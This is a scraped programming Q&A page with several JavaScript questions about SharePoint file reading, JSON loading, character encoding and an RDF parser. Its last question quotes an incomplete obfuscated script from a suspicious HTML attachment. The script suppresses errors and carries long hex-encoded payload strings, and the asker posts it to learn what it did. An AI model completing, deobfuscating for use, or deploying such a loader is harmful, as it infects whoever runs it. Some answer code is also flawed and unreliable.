Trying to read a file's contents in Sharepoint using Javascript - javascript

I have successfully embedded javascipt with jQuery into a page in SharePoint and I am trying to write a function that, when called on load, obtains the data from an excel file that has been uploaded into the SharePoint's library, so that I can manipulate it with JavaScript and push it into a SharePoint List. My issues are coming from that first part. I have attempted to do this with the following code, which was obtained from SharePoint's documentation and modified to use the ".fail" function instead of the deprecated ".error" function:
function readFile() {
var clientContext;
var oWebsite;
var fileUrl;
clientContext = new SP.ClientContext.get_current();
oWebsite = clientContext.get_web();
clientContext.load(oWebsite);
clientContext.executeQueryAsync(function () {
fileUrl = "My file's url as obtained from SharePoint";
$.ajax({
url: fileUrl,
type: "GET"
})
.done(Function.createDelegate(this, successHandler))
.fail(Function.createDelegate(this, errorHandler));
}, errorHandler);
function successHandler(data) {
console.log(data);
}
function errorHandler() {
console.log("Request failed: " + arguments[2]);
}
}
This appears to work, as I receive no errors and the data is indeed displayed in the console. However, instead of the file's contents, I see this:
<!DOCTYPE html>
<html>
<head>
<meta http-equiv="X-UA-Compatible" content="IE=edge" />
<meta name='viewport' content='width=device-width, initial-scale=1' />
<meta name='robots' content='noindex' />
<link rel="shortcut icon" href="http://spoos-16-rdn.bankofamerica.com/wv/resources/1033/FavIcon_Word.ico" />
<title>Document.docx</title>
<script type="text/javascript">
var WOPIPerf_UserClick = null;
if (window.sessionStorage)
{
WOPIPerf_UserClick = window.sessionStorage.getItem("WOPIPerf_UserClickTime");
window.sessionStorage.removeItem("WOPIPerf_UserClickTime");
}
</script>
<script type="text/javascript">
function ULS6zp(){var o=new Object;o.ULSTeamName="Microsoft SharePoint Foundation";o.ULSFileName="WOPIFrame.aspx";return o;}
function getWopiIFrameElement()
{ULS6zp:;
return document.querySelector("iframe[name=WebApplicationFrame]");
}
function WACRedirector()
{ULS6zp:;
var myFrame = getWopiIFrameElement();
myFrame.id = "WebAp
I'm not sure what's going on, but I feel like there's a step missing here. When I enter the url into my browser, it redirects to SharePoint's in-house document editor, where I can indeed see the document's contents and even edit it. Is there something else I need to do to obtain the file's actual content in JavaScript?

You need to use the URL to the file, not the URL to Office Online's viewers/editors. The direct URL should look something like this:
https://yourDomain/sites/yourSite/yourLibrary/yourFileName.xlsx
https://yourDomain/sites/yourSite/yourLibrary/yourFolder/yourFileName.xlsx
When entered in a browser, this URL should start a download.

I found the answer: The query url needs to utilize the ExcelRest API built into SharePoint. To do this, I simply had to add "/_vti_bin/ExcelRest.aspx/" to the url in the following fashion:
https://yourDomain/sites/yourSite/yourLibrary/_vti_bin/ExcelRest.aspx/yourFolder/yourFileName.xlsx

Related

Python Script Returns Garbled Japanese Text To Javascript Via AJAX Call

On an IIS server running Python3 via FastCGI, I am trying to get an HTML file to call a python script, which returns a JSON file containing Japanese text. The Japanese text is getting garbled into mojibake on return. Using Chrome's Network tab to look at the response from the test.py file, I get the following:
{ "text": "�e�X�g"}
The python script is as follows in a file called test.py:
print("Content-type: application/json;\n")
print('{ "text": "テスト"}')
The calling HTML snippet is here:
<!DOCTYPE html>
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<script type="text/javascript">
var httpRequest;
function makeRequest(){
httpRequest = new XMLHttpRequest();
if (!httpRequest){
alert('Error: Cannot create an XMLHTTP instance');
return false;
}
httpRequest.onreadystatechange = displayContents;
httpRequest.open('GET', 'test.py');
httpRequest.send();
}
function displayContents(){
var text = '';
if (httpRequest.readyState === XMLHttpRequest.DONE ){
if (httpRequest.status === 200) {
var test = JSON.parse( httpRequest.responseText.trim() );
document.getElementById( "mydiv" ).innerHTML = test.text;
} else {
alert('There was a problem with the request. This can happen if there is no exchange rate data file named exchangerates.json');
}
}
}
</script>
<meta http-equiv="X-UA-Compatible" content="IE=Edge" />
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<meta http-equiv="Pragma" content="no-cache">
<title>Test Japanese</title>
</head>
<body id="thebody" onload="makeRequest();">
<div id="mydiv" name="mydiv">testing Japanese...</div>
</body>
</html>
I've tried a bunch of things to try to fix the problem, to no avail. The bizarre thing is that if I try to generate JSON like this from a script, it garbles, but if I write the JSON out to a file and simply have the HTML file retrieve the JSON file, it works fine. I would appreciate any help at this point. I'm running out of hair to pull out.
I tried many method but only one is useful, that is Json.
Python code:
import json
print("Content-type: application/json;")
print()
print(json.dumps({ "text": "テスト"}))
When I access the py file directly, It shows this:
Then I use ajax(the code is same as yours) to call it.

parsing an external json file in javascript

I am trying to parse an external JSON file, and then parse it in javascript but i am getting an uncaught reference error.
I first declare the .json file in my html
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<link rel="stylesheet" href="style.css">
<script src="script.js"></script>
<script type="text/javascript" src="OnebusinessDataFormat_yelp.json"></script>
<title>title</title>
</head>
<body>
<div class="dropdown">
<button onclick="myFunction()" class="dropbtn">Dropdown</button>
<div id="myDropdown" class="dropdown-content">
<a onclick="name()">NAME</a>
<a onclick="address()">ADDRESS</a>
<a onclick="bh()">BUSINESS HOURS</a>
<a onclick="menu()">MENU</a>
<a onclick="saf()">SERVICES and FEATURES</a>
</div>
</div>
<div id="name">
<p id="rest_name"></p>
</div>
</body>
</html>
I then try to parse that file in my javascript code:
var jsonFile = JSON.parse(OnebusinessDataFormat_yelp.json);
function name(){
document.getElementById("rest_name").innerHTML = jsonFile.name;
}
but when i select name from the dropdown it does not populate the <p> element with the restaurant name.
You need to use the Fetch API in vanilla JS if you want to get the contents of a file:
var jsonFile;
fetch("JOnebusinessDataFormat_yelp.json")
.then(res => res.json())
.then(data => jsonFile = JSON.parse(data));
Please also note that this line:
<script type="text/javascript" src="OnebusinessDataFormat_yelp.json"></script>
Will not work because you can't have a JSON file inside a <script> tag - JSON is JavaScript Object Notation (a string), and is a way of storing JavaScript objects in a simpler way than objects. You can only have a .js file inside a <script> tag.
you can use this code to get the local json file in javascript.
use this url for more reference. $.getJSON Reference
$.getJSON("test.json", function(json) {
console.log(json); // this will show the info it in console
});
I will explain to you how it work, hope it will help you think.
There are 2 types of JavaScript, Server and Client.
If your JavaScript is running on Node.js (Server), all you nee is require().
const json = require(jsonFilePath);
require() will automatically parse the JSON (.json extension file) and generate JavaScript Object for you.
If your JavaScript is running in a Browser (Client), you can't open files from user file system. Just Imagine if Javascript can open any file it want from user file system. All of our data will be in Facebook data center Description 😂.
So for obvious security reasons, you will not be able (as browser app) to open any file you want from the user file system. But you will be able to open files provided by the user like <input type="file" /> or create by yourself in specific way, other people already answered it, you can choose any solution that make sense to your app.
Use this
function loadJSON(callback) {
var xobj = new XMLHttpRequest();
xobj.overrideMimeType("application/json");
xobj.open('GET', 'OnebusinessDataFormat_yelp.json', true);
xobj.onreadystatechange = function () {
if (xobj.readyState == 4 && xobj.status == "200") {
// Required use of an anonymous callback as .open will NOT return a value but simply returns undefined in asynchronous mode
callback(xobj.responseText);
}
};
xobj.send(null);
}
The function above will create a new instance of a XMLHttpRequest and load asynchronously the contents of OnebusinessDataFormat_yelp.json. I have gone with asynchronous but you can change the argument to false if you want a synchronous load. Thankfully all modern browsers support the native JSON.parse method. Remember our anonymous callback? here's how you use it.
function init() {
loadJSON(function(response) {
// Parse JSON string into object
var actual_JSON = JSON.parse(response);
});
}
For more details refer - https://codepen.io/KryptoniteDove/post/load-json-file-locally-using-pure-javascript

Load another JavaScript file and acess var

I'm doing a work for school, and I'm doing a online plataforn to buy games online, I can just use HTML, CSS and JS so for each game e have a JS file with the informations, here is an example:
/*doom.js*/
var info = {
title : "doom",
price : "59.99",
off : "0%"
};
And my html page is that one:
<html>
<head>
<title></title>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<script src="games/functions.js"></script>
</head>
<body>
<label id="title"></label>
</body>
</html>
I have that page to all my games, so I use the GET method to know wich file I need to read. (game.html?id=doom)
I have this code to get the id chosed and load the file:
window.onload = function() {
id = getURLParameter('id');
loadGamefile("games/"+id+".js");
};
function getURLParameter(name) {
return decodeURIComponent((new RegExp('[?|&]' + name + '=' + '([^&;]+?)(&|#|;|$)').exec(location.search)||[,""])[1].replace(/\+/g, '%20'))||null;
}
function loadGamefile(filename){
var fileref=document.createElement('script')
fileref.setAttribute("type","text/javascript")
fileref.setAttribute("src", filename)
    
    if (typeof fileref!="undefined")
document.getElementsByTagName("head")[0].appendChild(fileref);
loadinformation();
}
function loadinformation(){
document.getElementById("title").innerHTML = info.title; //info.title is from the doom.js file
}
The only problem is he dont change the label, but if I put a button on the btml code and onclick I say its the loadinformation() he load fine, but I want that automatic when the page loads and here is the error I get from console: functions.js:22 Uncaught ReferenceError: info is not defined, I think maybe is becouse the browser didn't had time to load the file, I don't know, can someone help me? Thanks and sorry for my english.
The problem is you aren't giving the browser a chance to parse your new script. You can give it a moment to do that using setTimeout.
function loadGamefile(filename) {
// your other code goes here
setTimeout(function() {
loadinformation();
}, 500); // wait half of a second
}
Ideally, you should have your data stored in a JSON file then load it using AJAX instead. There are numerous tutorials covering how to load JSON over AJAX.
As #Bergi pointed out, this solution is very fragile and relies on the script loading in under 500ms. Instead, you can listen for the load event to ensure you use the script as soon as it's ready.
function loadGamefile(filename) {
var fileref=document.createElement('script')
fileref.setAttribute("type","text/javascript")
fileref.setAttribute("src", filename)
if (typeof fileref!="undefined")
document.getElementsByTagName("head")[0].appendChild(fileref);
// Wait for the script to load
fileref.onload = function() {
loadinformation();
};
}

How to tweak this javascript file to read in my data on localhost. parsing RDF task

I'm using this Javascript RDF parser.
In the documentation it says to use it accordingly:
getRDFURL(url,func,followSeeAlso)
Downloads and parses RDF from a url.
url is the url to recieve the RDF from, use the full url, not a relative one, or the base url will be wrong.
func is a javascript function to call when the rdf has been processed.
In the file for the parser, I spied this empty variable:
var baseURL='';
and I filled it up like so:
var baseURL='http://localhost:8888/demo/StackOverflow-Europe.rdf';
In my index.html file I tried to call this parsing script in this way:
<!DOCTYPE html>
<meta charset='utf-8'>
<html>
<head>
<script src="http://d3js.org/d3.v3.min.js" charset="utf-8"></script>
<link rel='stylesheet' href='style.css'>
</head>
<body>
<!--
<script type='text/javascript' src='script.js'></script>
-->
<script type='text/javascript' src='parser.js'></script>
</body>
</html>
but finally... nothing happened.
What am I doing wrong?
I guess that's not the right way to call javascript files? Is that it? Or maybe there's another reason.
I'm not so familiar with Javascript.
As Jeen Broekstra said in the comments, the line you use in your html file:
<script type='text/javascript' src='parser.js'></script>
has to only purpose to load the the rdf-parser library.
You can load it directly on the main server
<script src="http://www.jibbering.com/rdf-parser/parser.js"></script>
and use your own script.
You can use the official demo as a starter point:
<script type="text/javascript">
function demo() {
foafNS = "http://xmlns.com/foaf/0.1/";
myRDF = new RDF();
myRDF.getRDFURL('/foaf2.rdf', callback);
function callback() {
alert("http://jibbering.com/foaf2.rdf contains the following triples\n\n" + myRDF.toNTriples())
nm = myRDF.Match(null, null, foafNS + "name", "Jim Ley")
mbox = myRDF.getSingleObject(null, nm[0].subject, foafNS + "mbox", null)
alert("The e-mail address of Jim Ley is " + mbox)
}
}
document.write('<p>See demo using /foaf2.rdf <button onclick="demo()">See Demo</button></p>')
</script>
new RDF() allows you to create an RDF utility object
getRDFURL('/foaf2.rdf', callback) loads the foaf2.rdf file and set the function callback as a callback, i.e. this function is called when the rdf file has been completely loaded.
myRDF.toNTriples() returns all RDF triples.
nm = myRDF.Match(null, null, foafNS + "name","Jim Ley") returns an array of triples that match the subject/predicate/object pattern.
mbox = myRDF.getSingleObject(null, nm[0].subject, foafNS + "mbox", null) returns the value of the object in the collection of triples that matches the subject/predicate/object pattern, or an empty string if not found.

HTML Encoded JavaScript

I recently got the "joy" of opening an HTML file that was similar to an expected receipt such that I opened the HTML file.
To which, part of the HTML pulled down a JavaScript from a non-descript site that has subsequently removed the content. I grabbed it via cURL before it was removed.
I know the message is encoded, and I am searching for a proper decoder to learn what impacts the JavaScript has had on my system. I have tried unsuccessfully to go to and from a variety of encodings to reveal the actual code. I would be most grateful for any assistance to determine what the impact was, or even just link to decode it myself.
To intentionally avoid having anyone's else be compromised, I am not going to post the entire HTML code, rather just two parts:
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta content="CscQmXx0XvexampUY2Dxa6gGIukh6MLEqSMmfrx6appxwKMF5abGJHTqcllvGIKu0Oyrcml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EEGjoG8xM0imj7IOmqJXfGyvaayk6brXjq83myMp8cOiuDBxmRrL48gOcBQNCSSTT3pv6lXSkHmojBAHuHhd7RhE6PjSuDqmKMiNKKCdwc30WWJjFt4xIJkXdhU8lrcMybJhPVKV7EoPDdhMJ5ORSO1ljI6c6gXlAHVqWqJqyqldtfLQ5jdNBJHB0XkHu3YiSJPwTr4GpUBsrJd6jwrxS4vjE8C83aglPAhgpQ26wyqTDBVkCBMA0ALCCMMIP2FX5wcMWJMltjNLsaJfddyhqPMEdu5eX2ptgAmbvnqtcahX77vsDqNAv633l3N5aX6BYQPE735qu6yjrSpVnRGMGDA3qWmknUVTH1tgVO6qbrobcscP6XVkgxpqRCLdIrJnWX8AKqn7sMlym1gsJYPUYCEtaWpEC3Jhxyj8xG38leb1oULCgBMmfoCSYTl2oCu7o5vQbtPr4adfKQvSpgqCPD8T58iu2NtmymHGM8TuUcCQCIXHjADiA8EjyjBhAfADp51xrTJO7OfKliXni38NLyQTYvKaOyioNdSC7vE3mYCCknpLMspPltNUY6WL80dg5WtE6SUrolyiecuCoDKdNMDKQiFcCAqbLSLplTsA8mPLU5jJnNAW3PYOr2jgQYHaekDNwYd6YpkXDC0RmouYGxrLbELvQ1hvD2X3tNxJMjowkFtSY6LS4QyaGcXJ5eDJcKVsYjVebgB3qa5Yb3DAQse8YAQWY1mJO0VuVx3A4mlLE1ptLRBg4Su80pfe162JHrAHEKN2tjdn6uiGAn1VIO6bCifcG6tI6Q6ArHRdO0MCV2JJskfwJH2jk8h84uVvYDKmrMnr86A6SaymxtmRyQeqvoQuHvAtkilUeGIuRGMR4uMEr0I3PBCx4dyYvh0rU3v43xJMJ4AYqYR2T6AB7ht7g2HloSj4Y6T5x" name="generator"/>
<meta content="text/html; charset=utf-8" http-equiv="Content-Type"/>
and then (again, it is clearly not site.site)
<script src="http://site.site/script.php" type="text/javascript">
when I cURL'ed the php above, it came back with
window.onerror = function (errorMsg, url, lineNumber) {
return true;
};
OUQ = setTimeout;
Bpbo = String.fromCharCode;
dSR = parseInt;
BbcUcwd = function (a, b) {
return a.charAt(b);
};
var WGUNFs = '';
var EQRsXT = '6f39569db73a30c9bc4d132742876bbc72a8a51ce51fb31f2a184e746fbf8f9cf9556e7dff645a95af61440d108473d6a9af68475053fbd9937d03d90fe897e9871efa565257a9496986871b49b5f23a2bbd703edf9a97b8d27333f2b9b816e4340b59cffbcfebf8163c0941ba0cbe47eb45cbf2a4f7611e53d3ea3f34d55817f96b5464575de6831e08d4f8fb1ded7d5736f7ecb1638fac6e5b0f2721d9e0ccf703f1123f036dac68f0d773c684e80ab2db85fb2245fceba01904bc14ff20ef334f324ebdac82fe7c2991eb8cf22aac74b967fbb4ac3d2e37cf4727424e0d5564146bef776356734775b60e7191ac59eda477a30f0b8ade674f4544ea55c30ad71646408e4caddf38375695288de57d14d96a391526a5037778cac34a1fc3dfed7fe5bb5d996a39e3f091771202a9a35ecfcddfe251acd1e6627a938ea2e248cad277bc243b436eb6e505a9feb4bba9e61c64f785bd6437ed567f5af12218318decb4825a72dc74e80ec2d5c1f04a7e38c022af33d30ce4f001c78c02a52363b308a523364bd079a65ba4565000df191a63d86aa619742244e9c60fb6285954e0f3aa6589451a4813ea942098a12e114f34a5323b6b7ad46d3ff0bebb997f79ec04551b7b97a4991ff7bc2f41dd560d2922a41e37d4b5059101e92b3007d813a78065ee25b4500ff51ba3543b4d3457df04bedb3389ae199c7d51d5a5f625cedb20a2e0a6b23a66e4a162f0e6e6042fe0bebd295d39791981edac8de90a3d72b2ab4b7818d24464b4f7a74769a565fd94051c148c799a3ae9a53eefa1126a86edee9f40b5d20d8c4f76ff3c3f5422b157ad5099b00b87f392f73db91607f370040756fefb4f1bd304c7ff6d6a0b4e824d2062961e604f8535b4d7fdf0a26b3c6046613a692d9dd97c3e112ebb5937f5a127b1ca4284d0311b0480c9d26eafacae9f4d736656786404f71a14582f57cc0c7661bcbfbf7a9fb39ede127b4f2fe39c185c164d41e0f4761f1210fbcb151a8bc8e64ad93aef286640b93b1a32dcb824920715ee08ff0cdd5f29e7e3ec33f4b1bd29ee6429f02cf526a4bb10dffa041017660a595f9838b22d9256f216d30a25f8a00340385857cf92433e1c19ec1a6245556b6742c5d1680494f01806236a72723cfb2f871a2b07ec59ec76686547bb23e9093234b67b336cc927d873e5dc48b22ef85824dfccbfb10e12e055544c2301e12f086042e89834816641945f83fcec49a3ac566fb40374464733762f055ba31e3a4b3029f6b5019a2cb968b8dfa9a2e7fd4139344e21bb5078cae6b0f332bb4403abb2d150c3f2b3e4eab7d5214d99b82e37c946d7b0de44091a49b63411d51fcfea6021fcad1d569dc567b1a9e20b23eabb6b7f5940835502f0bb9d3d9945f77252c7937260cfebf2b0627cac70793ba379aae9433ae644f34251320e567abd68e8eab2cf743b9c820f2c2e5e931ea0247a0d239fbfaea57fb52a1ae79dad114c087d2fbff94244c0674e2da55ee40b6369b575497aea731548a8c610b8eee4adeb6b6c35523d06ba5215254f552552174521e311736a33077629d3b74dd51afe7aa87ba6fdb34e5624758329971422a3a4b4548d18d9060c67768c5703510446ba96b0f4bd97f887171d9f4461702d2efc3a1cb718dbcece4a3c80959de9687d4b361e7f5f2fa7b0d8c1cef05142a808aa14f400776d43c86ad1225ecae1030b65e949bff71e137fb86265454221011756ef1bc31ee4cc0b585e6f060c5f668325f174ad43e014aba067abd0133543785006179ffb6686ed3cf1c06f3b73b8d07f9291f02eb896397cb969e7baaefe8c88052041b3a5667d1b56b751150da1245b7e0911e23e8da5ec6f6107fca86aa7a80b791b1e145071218113b44f316d3fa2b988a75be27fa8d11e59cd2e2c96583d6de63ac90be7e67c99fb3d7f0444e18fed9350701e2b86be2c3dae0d9a1eafa856fc9834550c83f07f6018db95c87056edb61015b63b141274c2d062b93870e0a704623b18eb646cc245fa69a7c723d9b4bc81b0de19075a0ad3e222e0a54a1211031cf9339a2d6dd21252de085fe941f588210a196e17e15e27e9be60c0b14c38c652d07d53f77870b9abf4e7762be8faf5e61ecaabaab83bba4828ab6e0b17bc22b9dcf136ff85669ee224d156379c0cfdf287277e0cf02420f700acdbe0761949d395cb4e653b73296c1dd651ced70ff8a526c59336522e897279398eb40eed02ff3f0327d94dc6e45a48baa5c5cf39f5a864f755d5beefb90e4fefa1961f99210d9332f32d63457f802f144f0837b188cf1982d31f43f450836e1cb38a4067a21d0062d9b3f27be9f1c8893df3c5ce4a44ac5b23977574f0ed8219b5e684967a0d55dbab49ba406f97225ae34bfc5b4b2aacba77113f32f207d37aacd7d70d5fe177d06fd1fa78dd3d0abd6be5d7b733bb4313ef5e4ce964a3567a7105e8509e7bbe2319a8e2083fdaab1d376158bdfd851ab43692dc8e7cff8ab74e69285206a02556df03184db6cb173924f3a65c25ac076aa8f98da3e8959eb68349463945fb8040af6d6efa2170c17dae6358bcdec3f9abe3b34b415b3b196ee3e6291b00162e28c1ae3f6b31850b494c56d525ec3813aae8bcd9c1d42b2774d90e2ea01708f81556281e35c71d7618796bbe3528466ed046707b075c201ac5be3b48217cac874805b5eef6ca744e4e0cac08748b126fecafc9e4cded96fb35d1a7bf5b1c4dd5a4565f126ca7f3123f0ac047ac2c7aada628d3da6f0261323a40a2ac154aefb2e96e5c06174dbaf143ed29787e424ac37d7cefcf2ee488fd7eb791f230094635095700e80829a5730f1671f25027e1b327bf031e731370278fa441e679119fed2af6b6797e57aff516a568cfbdbe11adea6c746e26dbb0c1527d0f38c1706ba3637ff7d07bb3466724f2bb94abca6617c70c6ceefef8a0c3b92f7f7c6035560c6582b27703bed798587730413c1106053f7c6ce7f8488f371afeb8b61659efaf5b3718f30b7861bb657350695c14aa3fc1429cfbeb16f1080da707438cfe51f570caf6fdf5121c732731454772d69157f7ffdae742ed4d6b463dba7e4c0821aa25199e82a9ed83ec987e72bea8170c41c3a42397f100ebc946ac74d6c356c0f4a066312ec8b78a12f7d4c0c845ad070de49eb90ef47aa4ebc62f4f7b3313916c2b3fed5dccd3bd48cb00577a3827466df64b4707fd920b0b025d2cf665597abd0fcb625eb3bff6ac100a3d0165c63c1dd3eee72b2d11410cd6ae7a40b153d35435c44e358f6a42acfab66cbca85eb11297609d7bfed015c9068e094724334f944c7546f410b01f51387a1c6fdc7c671ce9cebc54a70f0d26f02f662c3a62b0ce861741ee53755970579b8cf194302ab5124bd092fd0078c0cd093100e8f92f0154e4122947636e3627073f230fc32a1a60e5a78335d88aeff748763d805562a655b4adf045ade8552ddb310c687b8fe8a7f4206777b712';
var NYUrVU = '661b7bc297614aa9df3b7c492faa11d51dd2cd7cbf70c47f48352d171fdfab9bdc7a4e5ee44926a19445663031a919b7decf5671383494b9bd156ec16d93da94b23cc9747f6b95665bb4bb8029c195130b871506bcbaaedcb70a55ccb79a3ac5162c7abb9dbfcf8e82493569d46aca6cb225c49a8fe14b3537b89f6e62b93e3fd2545e447882caa34183b58bdd74a243365c989add0be5d94338824544b2858da0689c7b547947910699aa12b0e3cd268cd2a7db0466dcd0d97c799d6b8f47d75c2e47309991a7901554accaaa8045d84fb647e0978e1e0f5bbc6d553b3a62344a66048e040b6b56770ad02c4c9f917ed2895885647da9ae173b2b24c93faa66b07e3280ac7fdea71f0d5db608b1c66039b91b1c6954dc6f1558a9b03b7babb2d35dd8cd26bb5235c6d3b5573727ccd472bec3bce224e0b7e16c5fb6b385c46abdb7089c4753311ec5d965c79fc4d7d08c6b4a93e5ca215b8a3b1a3885545b4ddd8ed4d13f21bc5ece66babaaed264270ca20fca5aa27f92b36cafe36ba32e44982c85081a32c41dd63ac2392930ba7e7226b514cc801d563aabbf5bda531c388f988649e6317a2836c3d015c7944c843d56db4b7c0e1dbd235adad4cbb6612387792b7355aeb1be40d8a11266b4387d5c53cf3f59a79114b123ca0c1428a919afa34ad208c5367dd970cf294f3d0b35c368cfc30c848e3cc0613aa3d09a56a8b5528393cac54f17bece159a89d3302ac3a09f0c821e0318a6d18faecd2a4d14c48e1f227d86675995d6c9745dc50cd2a7662b7bb441b05bdfa10d8ec62b5eb089e3b07590b969b77d469e0c5b6841dc669568add86bb1c1aad114de274091492b3f209f8a7164a2718f8807042e76a6744704a428067fb25388e49ccb985a13557453055f23ade04d0b2a4c906158cbc21f89a929e5ba017e6ab4afb25a9cd098ab2b475835424b43817d677d6f21af641805d59f875fc193a6a9740e7059e2ac646e277a2c8f875f697865e0a42c2fb3a2df64915d90794830df5a7d4ab69a18bb3d81ca25da78a01a508f85905dd79e8509c2155b9e44940dc5cb82b7bd6f71682666423fb34ad563e236bb7ba72310b0c767151b3d40b2e4034f3973c8363a23343b4b24afb31e45e3d9712f14445d6111cf06dd6e4d78a23fa91d1d4f73c7568445495ee3585007ac5a9b07d0af61995c8e3270aaa2daa36d7a84291a3b1078ca1e244e6edbb21eac5e39b574c1dee372e1a777519427596a355209146236d07e573372599ad266bd129913d9b1d2d083a62f4c56210c9e3c11be9a8cdf22e02f6ed0dfb483a1a2e2cac68ee20172bd991117c429aa92bf2c663a75995271ba71add46a02df91417ac1b508c58b8279478dc850437e1fa47a60cdb5bf1fbc65d75728a8e25212ad8ed591441ac8140c58c91adec93664802385353540375d5e9e4cc9ce92a6131cb8e07e4e4b31c075c94e1e7d4cc186909757c30a3bc7bf91366e281e45d2d43728b24b2a109a669037031bd2173a5689187d33ddb12cd5c6d484e46250192d38139b757d47707f593c72704c8f791a128061634fa5d32ca8429b2c855b89c495636c11838c0dbb3407c2cadc77b23ab1757c0250886026717b4eb1a0c895d1b993e4673da6694e0c46409d586b9b6abac0ac244da4a8a4c920182755710d7b119c94c3a3a4853664952ce16883654f674abf0ea7032db2892736499226df84787814d0511a2528457669339f24cd1990ae2e7382116b677b4baf0cd121cc34c532918149cdbd7e444a5a71801fc1df47abce1dd1e4521e5e9bb91bb3bc8650debd5a1ad70f94d291c2b1bb2f2e6495874b5f3d779874352d860d75090534c61fb085cc52462ade8b4dd6ce7e5d808361355120a382d43b14295edbdea38835890d8896802faa0a06ba435919b653a972cfd25eb5de104f2e74d6a5e2a97c47351ab9911f1e893a94418f8b78dcb914762da7d55f0478b8e0a8173b9a9a777add547e7c4ce5b707ce62148bc73b0c637a990a0fa831c24ddba659b28996ba92bc66793
Based on the function above, it is clear there is a url intended, but I am not sure if any other rouge JS was run.

Categories

Resources